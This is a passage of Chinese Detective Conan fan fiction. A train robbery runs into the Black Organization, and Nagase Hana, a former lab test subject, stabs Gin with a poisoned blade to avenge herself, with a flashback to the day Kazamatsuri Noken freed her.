“小兰。”柯南喃喃小声说。 小兰摇了摇头,代表着她已经不想再听柯南的劝告了。 毛利小五郎好不容易躲闪开攻击,一颗子弹就划破了他胳膊上的衣衫,鲜血从中流出,基德更灵活一些,他的身形无法预测,一颗子弹跳击击中,但打到的却只是一个栩栩如生的人形充气偶。“哎呀,”他有些苦恼道:“原本是用来做替身引人注目的道具,用在这里,可是大材小用了。我的存货也不多了啊。” 尽管情况危急,他们却都没有显出急迫的样子,不论他们心中在想什么,面上也都有着最起码的镇定。能够走出来,就代表着他们对自己有信心,当然,有信心也改变不了外界的环境。 “看这里!”忽然,一道稚嫩的声音打破了局势,众人下意识地望去,就见到一个穿着蓝色小西装的小男孩一个飞踢,将一样东西踢出了残影,如炮弹一般冲着他们飞袭而来。一个人的额头正中此物,他不吭一声,直接倒下,将劫匪们吓了一跳。 东西滚落下来,是一个冒着烟的瘪了的足球。真不知这是从何而来。 领头人一阵恼怒,为这一而再再而三出来打扰的人,他大声道:“杀了他们!解决了他们!不用再担心闹出动静!” 几人神色严肃起来,知道接下来更不好打了。“砰!”一个矫健的身影从门内奔出,她一把捞起做了个鬼脸的柯南,双腿一阵轮转,飞速地往外逃去。三个匪徒下意识地跟了上去。 劫匪们一下子就少了三人,领头者犹豫了下,还是没有喝止他们。 呼出口气的基德在心中暗暗称赞:“真是位勇敢的小姐啊。”毛利小五郎则是充满了担忧:“小兰……” 应该怎么做?柯南在小兰怀里不住地思考,这里可不是国内,对付基德也不用真枪,这些人看他们的行止,说不定就是从战场上下来的……不过,这么久了,为什么黑衣组织还没有动静? 第70章 初显的獠牙 黑衣组织并不是什么都没有做, 最起码在敌人撞上门来的时刻,他们会第一时间让他们知晓得罪他们的代价。劫匪的人数很多,他们既有武力, 又有章程,主要队伍是在谋划名为“路易斯之心”的蓝宝石那边,但还有另一个队伍, 是从后往前搜刮,正好与前面相反。 而这一次, 他们碰上的,就不是那些毫无反抗之力的人了。 “幸好老大下手果断, ”领头的副队不禁在心里想:“还有这天气……”外面的大风将整节的车厢吹得微微晃动,这已经是现代化的高级列车了, 能有这动静足以能够证明那风之大, “之前的偷窃计划算什么, 要干就干一票大的!” “这些外国来的家伙们才是真的肥,比国内的那些干巴的流油的多,”他在暗想:“听说他们的钱都是存在银行里, 随身携带的只是小数, 对他们来说都不算什么, 啧, 为什么差距就这么大呢?” 他示意了一下,身后的小弟就赶紧将门阀打开, 他咧开嘴, 露出一个狰狞的笑,就要开始新一轮的扫荡, 但内里的情况让他一下子就愣住了。 听见声音,琴酒叼着烟, 面目冰冷地往那里投过一个平淡的眼神,伏特加戴着一副墨镜,手里拿着枪,颇为讶异地向他看来。基安蒂浮出迫不及待的兴奋的笑:“哦呀,这是找上门来的小羊?”科恩沉默不言地摆弄着自己手中的枪械。 三轮未海缩在角落里,尽力减少自己的存在感。风祭野见蹲在那里,他头也未抬,只顾逗弄手下的猫,白猫优雅地蹲坐在地上,微微侧过头来。 这一行人尽着黑衣,他们周身寒冷,个个都有着一种特殊的气质,劫匪的副队不理解,他也不知道,这是一群经历过血与火的残酷煅烧才筛选出来的,最高强度与高精密度的杀人机器。与他们相比,他与他身后的人就好似才是从旮旯里出来的小玩意。 尽管被震慑住,但感觉丢了脸的副队还是强撑着说道:“你们是什么人?把手举起来!” “嗤。”有人轻出声。琴酒漠然下吩咐道:“解决掉。” “哈哈哈哈哈,”基安蒂大笑着举起了枪,她舔了舔唇:“我早就忍耐不住了!” 一阵猛烈的枪响。 暗中潜行的人将身形隐藏得更深了。他手中握着手枪,望向爆发出声音的地方。“那里是……”他眼神犀利起来:“终于动手了么,组织。” “既然如此,”他掏出一个对讲机,对对面的人稍下命令,结束后,他看了眼窗外:“这恶劣的天气是阻止了救援的到来,将这里形成了一个短暂的‘孤岛’,但这也说明了,不论我在上面做什么,都不会有人阻止我。” “在国外执法权是一种很难敲定的东西,所以,”他默默思忖:“只要不让人知道就好了。” 下一节的车厢中传来飞速奔跑的声音,车厢与车厢之间的阀门是打开的,一个矫健高挑的女子的身形从他旁边飞快地跑过,漆黑的发丝在空中飘荡,她微微喘息着,不敢稍慢下一点。 后面传来追赶和呼骂的声音,男人毫不迟疑,他猛然转身,背对着女孩,眼中不动,手下扣动扳机,“砰,砰砰!”劫匪还没反应过来,就被这几枪送下了黄泉。 “嗯,最好还不要留下证据。”他在心中加上几句:“毕竟我现在的身份还是较为特殊的。” 柯南猛烈地瞪大眼,他趴在小兰怀里,亲眼见证了这一幕。他望着那个人的身影,心中陡然出现了一个名字,但不待他喊出来,对方就又一转身,低头消失无踪。柯南一咬牙,恨不得捶地。 “这辆车上,”他已经意识到了什么:“到底有几方的阵营?” “黑衣组织是为了什么而来,”他想:“这群劫匪真的算得上这辆车的危难吗?我们……该不会卷入到了一个漩涡中了吧?” 不论他在想着什么,该发生的还是在发生。车上的人不知道什么黑衣组织和政府的机构,他们只知道,有劫匪上了这辆车,他们是为了财物而来,如果想要保住小命,最好还是将东西都交出来。也有反抗的,但都成为了劫匪的枪下之鬼。 基德与毛利小五郎陷入了危险中,他们有自己的应对方式。也有人有自己要做的事。一道幽魅的身影飞快地在车厢间穿梭,她不为任何事而停留,上一次的出手只能算是那人恶心到她了,她的心中只有一个人,为此,她不惜付出任何一切的代价。 她的心一沉,眼中有层层叠叠的东西涌现出来,是过去的梦翳,如同黑泥一样,无时无刻不在缠绕着她,要将其拖入到地狱下去。但,就算是要过去,她在心中发誓,也绝不会只有她一个人! 她还要往前。一个人,一个年轻的人正独自在车厢中行走。他一派闲适悠然,好似完全不知道这车上正发生着什么。但他又绝不是那样一个简单的人,因为女子的心中涌出了危机感,而这种强烈的感觉,只有在遇见了那两个人时才会有。 他有着一头黑色的乖顺的短发,身穿简洁笔挺的小西装,见到她来,他微微抬起头,露出一双血一般深红的双眼。这双眼中,好似蕴藏着一个无限的漩涡,他微微开阖嘴唇,说出了一句话。女子的头有些昏沉,她停了下来。 鲜血在地板上肆意流淌,枪声又沉寂了下来。所有人都醒了过来,但没有人出声,他们都躲藏在自己的包间内,像只鹌鹑一般,瑟瑟发抖地祈祷着危机不要找到自己头上。阿笠博士有些头疼地看着对面的小女孩,灰原哀的双眼无神,她抱紧了自己,喃喃自语道:“好多……好多人……都是组织的人。他们一定发现了,要杀了我们……” 阿笠博士只好安慰道:“如果他们真的发现了,早就找上门来了。现在还没出现,说明他们有可能是因为其它的事上来的。不用担心,新一他已经去处理了。” 他还想再说,就发现灰原哀正幽幽地望着他。他吓了一跳,摸了摸脑门道:“怎么了?” 灰原哀静静道:“尽管你说的有道理,但你是不是太高看工藤了?” “把所有的事都放在一个人身上是不对的,没有谁是无所不能的,”尽管恐惧到颤抖,但她还是坚持地爬了起来,博士赶紧去搀扶她,只听她说:“不管组织要做的是什么,我对他们来说,都是有吸引力的,只要我出现,就能够将他们的注意力转移过来……” “等等,小哀!”博士赶紧大喊:“你还是不要去添乱了!” 他奋力地去阻止。博士心中的纠结苦恼没人知道,柯南还在想办法要回去援助毛利小五郎,黑衣组织已经从之前的车厢中走了出来,踏着一群不知敬畏的偏远地方的小劫匪们的血。在他们身后,原本居住的车厢中,如今已是一片狼藉了,一地的尸体横七竖八地躺着,枪支也散落四地,没人瞧得上这些。 之后他们并没有在一起行动。琴酒是全能型的,他既可以正面进行尖刀进攻,也可以运用狙击枪,远在千里外进行射击。而科恩与基安蒂,则更擅长偷袭狙击。除此之外,也还有其它的人。而他们这番的大阵仗,只是为了要解决掉一个人。 一边想着过去的事,琴酒带领着伏特加,要往前方走去。 就在他要走到预定的地点时,一个黑色窈窕的身影站在了他们的面前。 伏特加先是警戒,后来看到那张脸时,他松了口气,询问道:“你说有了那个‘傀儡师’的踪迹,他在哪里,彼岸花?” 身影抬起头来,露出一张右半边刻有深红纹路,犹如三途川岸边开满的引魂之花的姣好面庞。她迷蒙地看着他们,淡淡吐息道:“我遇见了他,他就在后面一节的车厢里。” “哦,”琴酒抽着烟看着她,他好似来了兴趣,问:“你见到了他,你们没有交手吗?” “没有,”被称为“彼岸花”的女人仍是淡然的模样,她说:“组织只说要找到他,我没有动手,只想将情报交给你们。” “做的好。”琴酒也淡淡地说,他往那边靠近,好像是要去查验她说的真假。“那是个很难缠的家伙,你不会是他的对手,将消息传回来,是正确的选择。” 伏特加也点点头,他犹还记得那人与自己的大哥在高台上战斗的那一天,就算“彼岸花”是组织中实验室的产物,也绝不可能是这两个人的对手。她仍还是人,还没有超过一定的界限。 他们越走越近,彼岸花却一直动也不动,就在琴酒路过了她的身侧后,一把银亮的枪械倏然出现在她的手中,她毫不犹豫地就对着琴酒的背后,一枪就射了出去! “砰!”剧烈的枪响。火药的味道从枪口中散发出来。 但没有得到想要的结果。琴酒狰狞地笑着,他的一只手抓在枪身上,强大的力量让这把枪偏移了射道,过快的速度令他的帽子掉落在地上,长长的银发也飘荡起来,他露出锋利森寒的牙齿:“你很好。” “你,你背叛了吗?彼岸花!”伏特加惊怒莫名:“你怎么敢?你的身上还有实验室装设的芯片,只要背叛了,第一时间就能取走你的性命!”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 70-80 第71章 黑暗中的花 伏特加惊怒, 那女子却理也不理他的样子,见到枪械被制住,她一个高踢腿, 就朝着琴酒双腿之间袭去,琴酒脸色未变,他手中抓着那柄偷袭手枪的枪身, 一个欺身,卸去了其中所有子弹, 与此同时身形恰好往外一侧,躲开了这一击, 手再一松,颗颗的子弹就掉落在地上。 伏特加仍在惊愕, 琴酒怒斥道:“蠢货, 看看她的眼睛!” “什么?”伏特加不明白。 琴酒有些恨铁不成钢:“她被控制住了, 是心理学上的能力!” “啊?”伏特加枪也已经拿出来了,他不确定道:“那她是没有背叛?我、我要开枪吗?” 琴酒已经无话可说了,他飞快地抽出自己的爱枪, 冲着彼岸花的致命处, 一连就是三枪开出。彼岸花用一种违背了人体极限的方式躲过了这迅疾的三连击, 她的右手中甩出一串刀花, 拇指扣在刀柄的圆洞中,整个人如箭一般倾身过来, 刀剑划向琴酒的心脏处。 琴酒连忙阻挡, 二人交锋间,一阵火花剧烈迸溅, 是冷兵器与冷兵器的极限摩擦。琴酒的发丝飞扬,他冷声哼笑道:“被控制了的背叛就不是背叛吗?” 他抬眼, 又一次极近距离的交手中,他一个抬腿,膝盖猛然扣向对方的腰部,这一下子的攻击窥准了对手的攻所不能及,彼岸花脸色一边,她急忙双手变招,手掌一齐向下防守,阻挡住了这又急又凶的一招,巨大的力量让她不由自主地往后仰身,再一连好几个翻滚,双脚死死地抓在地上,一只手也按压在地板上,才卸去了这极猛的一招。 琴酒居高临下地看着她,他冷冷道:“能够被人控制,说明了你的软弱,这样的人,组织又何必留下呢?” 彼岸花的眼神微微动了动,伏特加在一旁张了张口,最后还是什么话也没有说。他是知道彼岸花的,虽然没有拿到组织的代号,但在特殊的行动组中,她一直都是任务完成得最快最好的那一位,她的身世也无比悲惨,有过一段在实验室中艰难生存的时光,这样的人,好不容易活下来,却在这次的任务中报废,就算是他,也会不由地感叹几句。 可惜,大哥铁石心肠,他也不会对冲大哥动手的人有多少怜悯,最多在这里感怀几声,再眼看着她被处决吧,伏特加想。不过,那个人是什么时候会的的催眠,还是说,这是他一直都有的能力,只是没有在之前使用过? 琴酒往前踏出几步,他的声色转厉:“但这也说明你确实遇见了他,告诉我,他在哪里?” 彼岸花依旧沉默不言,她跪坐在地上,一张脸冷肃的像白玉,这更衬的她脸上的纹路鲜红如血。注视着她依旧迷蒙的眸子,琴酒在她就要重新攻来的一瞬间,口气阴寒无比:“还是说,你想要再体验一遍组织对废弃品的处理手段?” 彼岸花的身躯剧烈地颤抖了一下,她的瞳孔肉眼可见地缩小起来,她抱起了脑袋,仿佛有什么难以忍受的回忆要钻入她的脑子,她紧紧地闭住嘴巴,像是开口就是认输。但仍是有痛苦的呻吟声吐出。 “你……甘心……”有谁在说话?断断续续的,像劣质信号传播中的电视节目。 “三年……坚持……快死……”他在说什么,为什么要靠近过来,身侧都是恶心的营养液,他为什么要对我伸出手。 “……复仇……”他笑了,什么都看不清,只能见到他对自己伸出的手。 是谁?是谁!是谁!我为什么会在这里?我碰到了什么,好痛苦,好痛苦,好痛苦……救救我,救我出去! “组织不需要那么多人,被刷下来了,就证明她没有那个价值。”又是一个声音,他平淡无奇地说话,像是为她做下了最终的判决。她猛然睁开眼,溢出的泪水下,是冲破了迷蒙的极端恐惧,她愣愣地看着他,记忆中的那张脸与面前的人相合在一起。 伏特加暗自咂舌,早就听说了组织对废弃品自有一种残酷的处理手法,这方式比去做研究室里的试验品都要残忍的多,他一直没见过。但今日见这人的模样,从侧面他好似窥见了一角。 “醒过来了?”琴酒还是最敏锐的一个,他的杀机依旧浓郁,他淡淡地注视着她说:“看来今天还不是你报废的一天。告诉我,你碰到他时的情况!” 彼岸花抬起头看着他,在脱离了催眠后,她的双眼是一种死寂的颜色,但仍有自己的色彩,就比如此时的厌恶。是的,她厌恶琴酒,这一点,琴酒也知道,他毫不在意。组织中讨厌他的人多了,只要不在明面上摆上来,他通常不会崩掉他们。 彼岸花站了起来,她沙哑着声音冷漠道:“我确实是在车厢中遇到的他,他那个时候看起来好像很高兴,像是要往什么地方去。我不知道他为什么会认出我,知道我是组织的人,他控制住了我,给了我要杀掉你的命令。” 她顿了下,现在看来,这简直就是让她来送死。 琴酒暼了她一眼,“这是他对我的挑衅。带路!” 他冷冷地吩咐道。他一贯就是这样的作风,与他相处过的人都知道。迄今为止,只有极少数的人能令他的情绪产生波动,很显然,自己不是那一个。彼岸花没有再说话,她直接往前走去,要将这两人带往另一个地方。 伏特加仍然很紧张,他生怕她再一次对他们出手,催眠实在是一种很难懂的东西。琴酒倒是对自己很自信,他紧紧地跟在她身后,步伐不急不缓,坚定有力。 彼岸花的身躯绷得很紧,她能够感觉到,只要自己稍有不对,这人就能以最快的速度从后方袭向自己的致命点。她不会再有机会,对这人第二次出手。 她走了很久,远不是二节车厢可言。之前在这里掠夺的劫匪不知是去了哪里,他们一路上都没碰到一个人,所有人都躲在自己的包间里,听见脚步的声音,只会将头深深地埋下来,不敢靠近一点。 他们看到了乘警的尸体,但没人停下,目不斜视地走了过去。 直到他们感受到了风。 外面的风已经到了很大的地步,风声化为实质,在他们的耳中奏响了呼啸的歌。应该是一扇列车的门被打开了,琴酒皱紧了眉,他不明白那个人想做什么。 是在为自己留一条退路吗?想像上次那样从中逃脱,让组织再一次成为笑柄? “不是我哦。”仿佛听出了他的所想,一道带着笑意的声音在他耳边响起。琴酒眼中一缩,他下意识地做出了防守的姿态。直到他看到了那个人,就在前面的不远处。他穿着一身剪裁合身的黑色西装,戴着一顶平顶的圆帽。他一手拉在身边的门框上,一手按压在头上的帽子上,他的眼中带着笑,像是之前的那场冲突不存在一般。 风将他的身形吹动,他身上的衣服在猎猎作响,他道:“这里我来的时候就是打开的,看来是有人在半途中溜上了车,列车上是有内应,为他们提供了通道。” 作为一群劫匪,他们还是挺有计划的。望川涉想。 “不论在哪里,都有这种该被碾死的老鼠。”琴酒凝视着他,他脸上终于露出了那种,张狂的、激动的、无法抑制的狰狞的笑,他浑身饱胀着杀气,语气森森道:“倒是你,终于找到你了,准备好迎接接下来你的结局了吗?” 望川涉没有为他冷酷的语言所摄,他依旧是笑着的,只是双眼微微眯了一下,他深深地注视着他,这种极度的专注让琴酒的浑身都开始热了起来,他想起了之前那场在天台上的交锋,死亡如线一般从他的身侧数次掠过,而这一次,他要彻底将这个组织的威胁灭杀在这里! 望川涉似乎读懂了这种恐怖的杀机,他叹道:“我只是想做一个普普通通的黑白两道上的情报商,为什么要一直追着我不放呢?”他淡淡笑道:“你知道你们打扰了我多少的生意吗?最近的一段时间,我一单的收益都没得到,倒是安全屋被你们摧毁了不少。” “这就是得罪了组织的代价。”琴酒毫不迟疑地冷酷道。他倒是觉得,这些都只是开场前的小菜。 望川涉就忍不住笑了起来,他道:“可我,很是不喜欢有人不断地来打扰我。怎么办呢,”他的语气终于带上了之前这几人见过的一丝癫狂,他深沉道:“你还记得吧,我说过,那日的一切,我都会还回去的。” 琴酒开了枪,子弹擦在门边,只差一毫就打中望川涉的手。望川涉毫不慌张,他手一转,将一个像是节日里才会有的彩色的手杖在面前转了一圈,他有礼地鞠躬道:“作为报复,我近日里新学了一个魔术,就先施展给你们看看吧!” “Surprise!”他又一转,脚下优雅地闪躲开琴酒的又一颗子弹,他转而看向自己手中的手杖,不知为何,琴酒与伏特加的视线也一齐望去,“砰!”一簇的礼花从中迸发而出,带出大片的蓬勃的彩纸。 而几乎是同一时间,琴酒感受到了后腰处的一阵冰冷。他瞪大眼往下望去,与一双无比冷漠且憎恨的眼神碰在了一起。 他挥手击打过去。那人一个翻身,以一种比之前更快一倍的速度往后退去,如鹞子一般轻巧落地。之前抑制得很好的杀机终于喷涌而出,她窈窕地站起身,两只手中都极为灵巧地耍弄着一把爪刀,她身上好像藏了很多把武器,而现在正插在他腰子上的,是一把极薄的蝴蝶片刀。 “大、大哥!”伏特加惊恐到连话都说不出了,他完全没感到发生了什么,整个人比之前更慌张。 琴酒也没有去看望川涉了,他注视着彼岸花道:“你之前是在示弱。” “哼。”彼岸花淡淡吐出一道鼻音。 琴酒咧开嘴:“你是真的背叛了。” 望川涉在一旁兴致勃勃地打量着这一幕。这一次彼岸花终于说出话了:“这不是很正常的吗?还有,你应该叫我长濑花。” 见到琴酒不动,她便道:“也是,你根本不在乎这个名字。你也不记得我是谁。你从来记不得倒在你手下人们的脸,也不在乎谁是因你而改变了命运。” 她现在的气势与之前完全不同。 第72章 你的刀 伏特加完全不明白, 都是一个人,为什么之前看着就像是在大哥和那个人之间艰难求存的小卒子,但给大哥捅了一刀后, 浑身上下散发出的,就是顶级捕食者的样子。 能在后面给大哥来上一刀,这是多少人想却没办法做到的事。琴酒对于杀意的捕捉, 简直就是变态级别的,稍微有点风吹草动, 还没等它开始,就会被感知到, 再然后,便是最迅猛的反击了。这是个自然界和人类共同塑造出的顶级猛兽, 獠牙下是无数人的血。 彼岸花, 不, 现在我们应称其为长濑花了。她并不介意再向琴酒透露一些,她站定在远处,手中的刀闪着锋利的光, “为了这一刀, ”她语气沉沉地说:“我足足等了有十五年。” “十五年了, 你知道我经历了什么吗?”她说。 琴酒毫不客气地嘲笑:“十五年也只能在背后偷袭一刀, 可见你是一个多么废物的人。” 长濑花看着他,笑了:“是啊, 我只是一个普通人, 和你这样既天才又豁的出去的人不一样,在这十五年里, 我在最初的时候,无时无刻不在想着那一天, 想着那时命运抉择的时刻,想如果不是你,我会不会有一个截然不同的人生。可是等我想完了,听见你又强大了几分,心中就会流淌出血来。” “你在组织中如日中天,而我籍籍无名,在生死间攀爬。我想要追上你,只能付出更疯狂更彻底的努力,你不要命,我就只能比你更不要命,你彻夜地锻炼,那我就只能白天黑夜都在锻炼,我日常出入研究所,任由那些恶心的人给我身体里注射禁忌的药品,这一切,都是为了今天。”她的恶意张牙舞爪,如深海章鱼一般在她的身后舞动。 “你不记得,可我还是要说,”长濑花低垂下目光,眼中是寂寂无波的海:“当年在七号的训练基地里,我本来是通过了考核的一员。可是你要再进行一次筛选,将我刷落了下来。” 她站定在那里,脸上没有一点对过去的怨愤,也没有对自己这些年艰辛付出终于收获的得意。琴酒冷笑,他自然知道她说的是什么,可类似的事,他早在不知道多少个基地里说过多少遍了,真要他数,他自己都数不过来。但下一瞬,他的脑海中就浮现了某个场景,那是他在一年夏季中去往的某个基地,在那里,一个人拒绝了他的调派……当时被刷落下的人中,就有一个女孩子,当然,他完全不记得她的脸。 他在尽力想那个基地的编号。至于长濑花的话,呵,如果他真要害怕什么人报复的话,他又怎么能走到今日这地步?他干脆躺在那,什么事都不干好了。 长濑花自然看出了琴酒的毫无悔意。如果是很久以前的她,或许想要见到的就是他那张充满了悔恨的脸。可在后来的一次质问后,她就不会再那么天真了—— 时间往回而去。 进入到这座研究院中已经不知道多久了,日日夜夜的被研究让她丧失了对时间的感观,无数的药液被注射进身体里也让她丧失了对身体的掌控。挣扎、疯狂、绝望,情感上的波动也好像是很久以前的事了,那个时候的她,好像还能在外面的阳光下肆意生活,她缓慢地抬起自己的手来,淡绿色的营养液中,她看到了自己手腕上密密麻麻的针孔…… “滴滴。”寂静的环境中,忽然传来这样一声响声。不待她思考,“唰。”一直被封锁着的大门倏然打开,一道白光从外面投入,照亮了一部分黑暗的内里。有脚步走近的声音,是两个人,但在一阵耳语过后,就只剩下一个人了。 这个人慢慢走近。她努力地睁开眼看他。 这是个很普通的人,他没有穿着研究室里成员惯常穿的白大褂,而是一身整洁平整的日常的西装。他很年轻,像是个高中生的样子,但他的气质很沉静,出现在这里也无疑表露出了他的特殊。他的皮肤很白,浅棕色的眼瞳好似被幽静吻过的琥珀,他的衣领浅浅松开,领带被随意系着,却抵挡不了举手投足间那种闲适的自如。他在这里时给她留下的印象格外深刻,以至于让她后来十多年后,仍然无法忘记他当初的那种风采。 他好像注意到了她的清醒,按了下某个按键。营养液快速从她身边褪去,一直被充满着的耳朵终于空旷了下来,她的面部仍紧紧扣着那个笨重冰冷的输气管,但她还是有了再获新生的感觉。 “好久不见了,长濑,”她听见他说,语声是轻轻的,“你还记得我么?” 记的他?长濑花有些疑惑,她更仔细地去观察他,而这一次,她也终于是瞧见了更多。她注意到了他脸上的面无表情,他的眼中透彻下,是更深邃且无情的淡漠,他的身姿笔直,脊椎如苍松般笔挺,身躯清瘦中透着内敛,他站在这里,自成一个世界,是从下方仰望着身在罐装中的她,却好似是在更高远处低望。 “你,”她有些犹豫:“是基地里的,风、风……” “风祭野见。”高中生毫不惊讶她的遗忘。 是了,是在基地里的训练中存在感一直不高,在最后的考核中却恰好通过的人。与自己不同,再次的筛选,他还是在通过之列。 她有些恍然,又有些奇怪:“是你啊。你怎么会来这里,你来这里做什么?” 风祭野见淡淡道:“我通过了代号考核,组织让我来这里招收一个助手。” 仿佛不知道自己抛下的是多大的一个炸弹,他平静地望着她。但长濑花的心中早已是炸开一片了,她以为早就死寂的心里居然再度升起了波涛,她死死地望着他,像是在望一根在深渊边伸出的稻草。 “那你来这里是、是……”她有些结巴地说。 “你当初的成绩还行,”风祭野见作思考状:“我没认识多少人,有了这个选择后,就想起了你。” 长濑花一阵晕眩,她忽然觉得氧气管里传输来的空气有些少了。 “你想要什么。”她找回了过去的一点理智,竭力想要抓住机会。 风祭野见暼了她一眼,她不禁打了个冷战,她突然意识到这个人的特别。就像剥去了一层面纱,之前回忆带来的虚假的印象通通被抹除,她更深层次地意识到了这个人的危险。不是武力上的,而是思想上的。他绝不该是基地中表现出的那种水平,他始终在伪装自己,在一场争先恐后的死亡竞技中。当别人还在为不通过而恐惧绝望时,或许在他眼里,这就是一场游戏。 一场他踩着线,以最后一名通过的游戏。 这样的猜想是何等的荒谬绝伦!能做出这样事的人,又该是怎样的自大自信?最后他真的成功了,又彰显出了怎样恐怖的掌控力?他无疑是有着超出常人智慧的,从容地拨弄着全局的节奏,让局势随着自己的心意前走,她怎么以前从来没发现,还有这样一个怪物就这般潜伏在他们身边! 风祭野见看着她,犹如看出了她心底里的惊涛骇浪。他的眼神洞悉透彻,身姿清冷坚韧,他说:“这就要看你以后想要去做什么了。” 他没有说她能给他带来什么,而是问她要去做什么。长濑花恍惚了一下:“活……活下去……” 好痛苦啊,这是个地狱。可她还是想活下去。 风祭野见静静地听着。“还有,”长濑花的语气忽而一转:“我要让当初的那个人,付出代价!!” 风祭野见没有笑。他好像从来都没什么表情,无论什么事都不能让他兴起涟漪。他道:“你说的那个人是琴酒,现在是组织的头号杀手。” 长濑花停止了说话。她面上也没有了表情,但无论谁见到了她,都会觉得她是在哭泣。令一个复仇者绝望的是,她的敌人不仅从前比她强大,后来还会更强大,直到到达她无法仰望的地步。明明当初,就是他一句话,便将哭泣的自己从训练场上拖下,让她从天堂坠入地狱,否定了她所有的未来。 “要妥协吗?”风祭野见问。“活着也是一件很重要的事,放弃复仇并不可耻。人的一生,要追求的,也不过是安宁而已。” “就算是如此,我也会选择你出来。”他静静地看着她。 长濑花也看了过来。透过那一层厚厚的玻璃罐,二人四目相对。长濑花忽然意识到了什么,她说:“那你呢,你来这里挑选助手,又是想要怎样的一个人?” 风祭野见没有说话。长濑花就道:“我明白了。” “我不会放弃的。”长濑花终于笑了,她一笑,半张脸上的伤疤就更为骇人,那是某一次药物试验留下的后遗症,不只是脸上,她右半边的身体上都残存有可怖的伤口,“不仅是为了你,也是为了我自己,”她的眼中熠熠有光:“我要让他知道,将我筛选出去,是何等错误的一件事。” 风祭野见凝视着她,良久,他伸出手来,露出一个浅薄的笑:“那么,看来你是愿意和我走了。” “是的,我愿意。”她也从里面伸出手,像是要与他相抵。 我愿意成为你的工具,只为了那一天的到来。她好似看出了他一部分的内里,其中的深邃幽暗让她不由为之神迷。 这种惊悚的恐怖让她仿佛连那种触之不及的野望都有了不再遥远的错觉。她只感觉,命运在这一天再次对她翻了个面,让她再度从深渊中爬出,照耀到了稀薄的冷冷的日光。 是的,在此之前,我都会成为你的同罪者。而在那之后,我要么与你一同登顶,要么一起死去。长濑花会是风祭野见永远的刀,不会再有改变。 风祭野见便将之从中带出去了。 将她带出并不难。长濑花本身就不是一个“优秀”的试验品,毫不顾忌的“使用”让她已经快要承受不住接下来的投入了,风祭野见虽然有伪装,但有了资格,带走这样一个试验品根本不会产生什么波折。 而接下来,就是比地狱还要恐怖的日复一日的锻炼了。长濑花不敢再想,就算是自己,她也不确定自己能否再重来一遍。 可就像她所说的,她无法放弃。有些人做过的什么事,绝不该就这样轻飘飘放过。 第73章 欢迎来到大人的世界 “你知道吗, 这个世界从来都不是为小孩子修建的。” 在列车的千万里外,有人忽然伸出自己的手掌,注视着掌上的老茧道。 “你又在突然说什么傻话?”旁边人问。 “路灯的长度是根据成年人的身高设立的, 吃饭的桌子也是依据大人的体型设计的,楼梯和大楼什么的就更不用说了。孩子们一来到这个世界,迎接他们的, 其实是并没有多为他们考虑的世界。” 旁边的人没有说话。“所有人都知道,孩子们日后都是要成长为大人的, 而他们自己也知道这一点,所以, 每个人都理所当然地忽视了初来乍到的他们的不适应。他们都在说,快快长大吧, 他们自己也在说, 快快长大吧。只有这样了, 你们才能更契合这个世界。” “而也只有这样,才是正确的。”这个人偏过头来看着同伴,明亮的眼中仿佛有泪光闪过:“所以, 我们从前遭遇到过那样的事, 只是因为不幸运。我们付出了那么多, 才成为今天的我们, 也是应该要发生的。” “这是属于大人的世界,不是小孩子们的世界, 所以我们要小心再小心, 要拔出骨头,要拉长了筋, 要流血又流泪,尽可能地长大, 才能活下来。” 痛苦与哀歌被搅碎成泥,在过去化为火花,如烟花般缭乱而过。长濑花从来不知道,数度疯狂又清醒,是何等绝望的一件事。 “我为什么要坚持,那个人不报复也是无所谓的事吧。我为什么要对那个明显只是要利用我的人说出那样的誓言,我怎么可能做到,就这样逃走吧。” “我恨我的身体,本来就天性比另一性弱,还给变强的路上增添一层层枷锁,对手还是金字塔最顶端的那种人,为什么要是这幅躯体?” “不是我,也会有别人。对他来说,谁都可以,我不是必选项。” “不,在我看来,你再骄傲不过了,就算是再痛苦,你也不肯利用女性在另一项上的优势,你天性倔强不肯认输,哪怕是复仇,也始终不肯抛弃掉自己早已被践踏成泥的尊严,这是何等难能可贵的一件事啊。” “不习惯袒露伤口,就将它遮掩好。希望用痛苦吸引人来为你悲恸,但吸引来的往往只有秃鹫。满身污泥,又假作不渴求爱,只是乞求爱路上的乞丐。这世上没那么多人爱你,从痛苦中汲取力量,不是一件值得歌颂的事,是你只能去做的事。如果有人同情你,是因为他们本身就很好,而不是你向他们展露伤口。” “而你,”她看着他在最后终于蹲下身来,在某一次昏迷前,对她说:“只是一个连名字都不曾出现过的配角,却妄想要追得上本剧剧情中头字号的反派扛把子,有这样的野心,你做什么不会成功呢?” “长濑花,欢迎来到,大人的世界。” 人的念头是谁也无法掌控的一件事,长濑花不会否认,她也会有这样那样的想法,最痛苦的时候,她甚至会对风祭野见发泄,但对方始终不发一言,就像是无血无泪的假人,更是很少来看望她。只是偶尔,在她快要坚持不下去的时候,会对她说一些琐碎的话。像是鼓励。 哈,那个人! 琴酒毫不理会自己有可能伤害到了多少个像长濑花这样的人。因为那么多人里,也只出现了长濑花一个。等他们走到他面前了,才值得他稍稍记住。一路走来的路上,他始终都是强控者,他做出的选择,都是干脆而迅捷的。像是发掘内心,犹豫不前、怀疑自己,不断地内耗,对他来说,都是不存在的。 他只需要去做就行了,失败了就去死。没什么好说的。 他们是截然不同的两种人。但也有某种相同的特质。 琴酒没有思考太多,联想到那个训练基地就已足够,更多的,回去查就行了。他冷冷地看着长濑花,感受着身后的痛楚,他忽而语含冰渣道:“你说了这么多,其实是在等你刀上的毒发吧?” “哈哈哈哈,”一边的望川涉大声笑起来,他拍着手掌:“确实是这样,有谁现在打斗不会在武器上涂抹上毒呢?该不会真有那样愚蠢的人吧?” 长濑花闭上了嘴,她没有再说过去的事,不会真以为敌人会对你产生怜悯吧?悔恨也只是种极其无聊的情感,她现在也不需要。她甩了下手中的刀,淡淡吐息道:“我于今日,杀了你。” 琴酒猛然转头看向望川涉,这个家伙冲他摇摇手,满面笑容的脸倏然冷冽下来,就像鬼变身一样,他依旧是在摆手,可口中吐出的,是无比森寒的一句话:“去死吧,琴酒。” 琴酒骤然扑了过去。他不是在为自己找难度,他只是有些明白,长濑花或许只是一把刀,但这个人,绝对是幕后策划他的一员。 望川涉是站在出口处的。他好似承受不了琴酒的攻击,整个人往后倒去。但他的面上又重新浮出了笑,甚至还再次将手按在了帽子上,他恍如飘纸一般在外面的风中转了一圈,只留下一个看好戏的笑,就矫健地往上方攀去。 上方是列车的上方,外面的风还在猛烈地刮着,有无数的细子冲着他们的脸扑来。若是弱势群体,很可能在这样的风中站都站不稳。天空暗沉沉的,没有雨。 